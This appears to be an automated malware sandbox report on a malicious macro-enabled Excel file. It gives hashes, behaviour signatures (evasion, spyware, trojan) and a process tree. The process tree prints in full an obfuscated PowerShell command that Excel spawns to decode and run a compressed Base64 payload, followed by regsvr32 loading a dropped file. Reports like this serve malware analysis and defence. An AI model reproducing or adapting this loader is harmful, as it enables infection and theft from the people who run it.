Overview

overview

10

Static

static

20754491-60.xlsm

windows7_x64

10

20754491-60.xlsm

windows10_x64

10

Analysis

  • max time kernel
    130s
  • max time network
    136s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    08-07-2020 14:13

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    20754491-60.xlsm

  • Size

    63KB

  • MD5

    b9236072b57105e260444f147ae54927

  • SHA1

    033a1cfd5780cb7ea3fabaabe8db663a5f13971d

  • SHA256

    b22e1571c169269bdad84dd7804189a4a6b20f600348b4e18e91661b0c08b111

  • SHA512

    863d6626b4a7230896574bf04b9041557a23f839c48427ae7798de98a0610124d7a5707f687353131bab6b4e46036b257dde0118b784ea84ef0b4e34c703e116

Score
10/10
evasionspywaretrojan

Malware Config

Signatures

  • Suspicious use of WriteProcessMemory 8 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 41 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\20754491-60.xlsm
    1⤵
    • Suspicious use of WriteProcessMemory
    • Suspicious use of FindShellTrayWindow
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    PID:1316
    • C:\windows\system32\WindowsPowerShell\v1.0\POWERSHELL.EXE
      "dir ;slmgr.exe 127.0.0.1/../../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/POWERSHELL.EXE" -NOpROFILe -exEcUTION BypaSS -nOnINterAcTi -wiN 01 "&(\"{0}{1}\" -f 'sa','l') ('tr'+'im') ('N'+'ew-Obje'+'ct');.((.('gv') (\"{0}{1}\" -f '*','mdr*')).NAMe[3,11,2]-join'') ( .(\"{1}{0}\"-f'im','tr') ('s'+'ystEM'+'.Io.C'+'O'+'m'+'pReSSi'+'on.De'+'flA'+'te'+'StreAm')([SysteM.iO.MeMoryStreAM][convERt]::fROmbaSE64STrINg( (\"{16}{58}{22}{31}{9}{62}{40}{46}{4}{27}{19}{28}{7}{20}{38}{33}{6}{26}{52}{2}{41}{24}{55}{34}{48}{61}{30}{15}{29}{13}{14}{3}{47}{1}{32}{43}{56}{18}{36}{60}{59}{53}{21}{23}{42}{57}{51}{10}{39}{25}{54}{11}{37}{50}{12}{0}{17}{44}{8}{35}{5}{49}{45}\" -f'jA1xehYZc7AAUNzALk783FzqjPcuz0kETx','LjPHwO/NC','Fa6dvAt3Cuk','ed/0PVl4uDc0nFYGp6K2iDJHYB5QmhXcgc3Lw','Ua8uDGZecolOTYJA+2jVZsug3HihQH7LCpmIW09KCst4MX7oOwNhE2M7uMk8mhjv','4leN/CwZR','SU6ekfKz5XQqo573t2RHp7AV','sA8KbmK9POgnu8jm96QqEACjm','6xUqGXroijF+tBT2z/1','MGYWxarsXjFTOPsyCgaz5OP7w0LeqDoJVNUUa','VKvGjehP3x','OYHJnDs5dEjrT0kFS1qUvf/wyjzcJCLLKltvpt/c82ME9J7cjSY3MlBgSgTeywjS4o3xBNq','6PV5DZOaIfi8R3Vbn0','fRGfFQW7hiD0','VlB1xIyOTOxb','xKsgx/Ty4TuCL2mHI8','dVYNc9pGEP0rFw31ScEoGDtuAsO0GMsOCcEuYByHMDkZDi','wNQ9y5KXY6a53q/s/9TTZ8H08CXycz96tOjR30RsM1F5tVsplVKcFGBg/5i/7AI48ttF2ROey','ah','Udf7+hr','mKBOMPi4ZJ6Wm','BTUl','WlZp','KpSEv+K1vd','qWZcnLjISSEdi6Ze3S','9666l5obvjfyentrQbiD0YxEgMI+mOH2ggi75iHq0sUNC66Y0IGCj3p6lTIxZ9CuJqrv7PJI5iakS6AjAuw','LoOEHbGSdBllg','Mx2261gFT5JiM+UxUqRXPjuWJq8xA8L6YtoKyv/t','LZKAFsCV70rlIHyCpl','4V1AfikZCRJSdHO7bpB6Cdl0uBDd5pn1TtADWxC/VxrkgHLln2qVarb3SPcO8huLGwQ5k5TpnYy/Km/AD1wz1h','++EDx4nu','RRmlKePhudfhh7wvf/ZtBy8zX','dnLtJYf5kAOaVaJyD8uaw+eBGw9','YakONSk9Q+78BnkaYt8cLfQeZvuDWsjOx8dLT6fuTNnbWB','TgajkBAulhTx48r3c','QEyLUx9+XwOJqRxwMvYaZ22EoNvbFcFz1+tL9De/3RIdJ6bwPatDIv','MSrriNYSgIebS2PHdsFGSBYrfM0','ljI++tQF','9g','m7KbRqAONX8YUGYRpTm85UrdjmFHCbnQKITO0bJ+y0X6xqNceiTRbnZ24sT0','QbDgves5dVJ9t9hghF5WuuBfINZ1LiXJFdK7tqpzXiuks','8yfkwqWE3c3xFtBbQzRUPZfj','TH7jYNcZxn57phxCvCf0zMjORM97','HIPMjRgg+gF2bd+8wqBxCLNPtLeRVYtqmldfS2Fa9lCS','/8FYh/ka9JM/vUTVDvZOCTRiY19SG','z6B8hQvUOP82oTk0/4Q0/As=','aqX8bhU9SM8OqKDl/LrI/oWPEImW','EE0X2YclYOFJPvOLzMzpYFrWdrsgBaoLT','YjnEimzLNtYihtvYhAEB3F4SFCZyY6gGsAirmIDeVdIm/BpSNwa4U/DVUVujyFOC01a6KlDIv9oyzHGzW/nQGutVfA/OHb2RKxqoB','lvXND9DUcqctO','I1XhgU','HAbw07dls7DE6DEQtVx8GnO1hwLIHDX/p','5V+LD2ZW','2gTMF/8','yaV0cvOOu1v9fUwWLm6M7YSgIF1k6Lok96eoiPHYxsJ8hOmJWxjHN6ITmKsV4pFQnSpWLHOhm','MXBX3uTnAP5wzwi5oDYzFW9eyxdSbzJF5A1Ifre04QbcAb2+TzCrdM096j5OyZjHjwNft8SoFJ36p1vZyo9PcM7a0mgoxiksf1Eidy','1xcmuZ9hATvUAMQvHJMcyNC5utXK591C77eudUs3fgCv9GGpZV+hh6AYrZ1wHui4uZJhBUimrizK91zQsP7hRSOHWw34qodY51MhPa+Y+9jbeuMS0UuVn7g','d','xbSEQSOK56/71vT3yIdsKMPtDt7b7dfbt7Pc/kq0a31TjzeZHLKm5fT065xZjJhv27a2dkGumRSo9V','/kr/Qu','HQUIr8G3GRABAtsTYQc1pFiCcqb428BckpQERy3ddzPX1dXuTjtaoPvSAZQddn9Zo43yEn2+KHq1hedX7SRJLoQPW','S5/ASXC6kktsof7C24njpiQgGU','SrnGlJsOuqM3C6eK4341eYdXv1YXK3kLShTBu0tHdlTyHotR1u') ) , [iO.COMprESSiON.COmPrESSIoNmodE]::decoMPRESS)|&('%'){ .(\"{0}{1}\" -f 'T','rim') ('SYSTem.'+'iO.'+'st'+'ReaMReAd'+'ER')($_ ,[sYSTeM.TEXT.eNCodIng]::AsCii)}).READtoeNd( )"
      2⤵
      • Suspicious use of WriteProcessMemory
      • Process spawned unexpected child process
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      • Blacklisted process makes network request
      • Modifies system certificate store
      PID:1608
      • C:\Windows\system32\regsvr32.exe
        "C:\Windows\system32\regsvr32.exe" -s C:\Users\Admin\AppData\Local\Temp\dd_SetupUtility.
        3⤵
          PID:1744

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads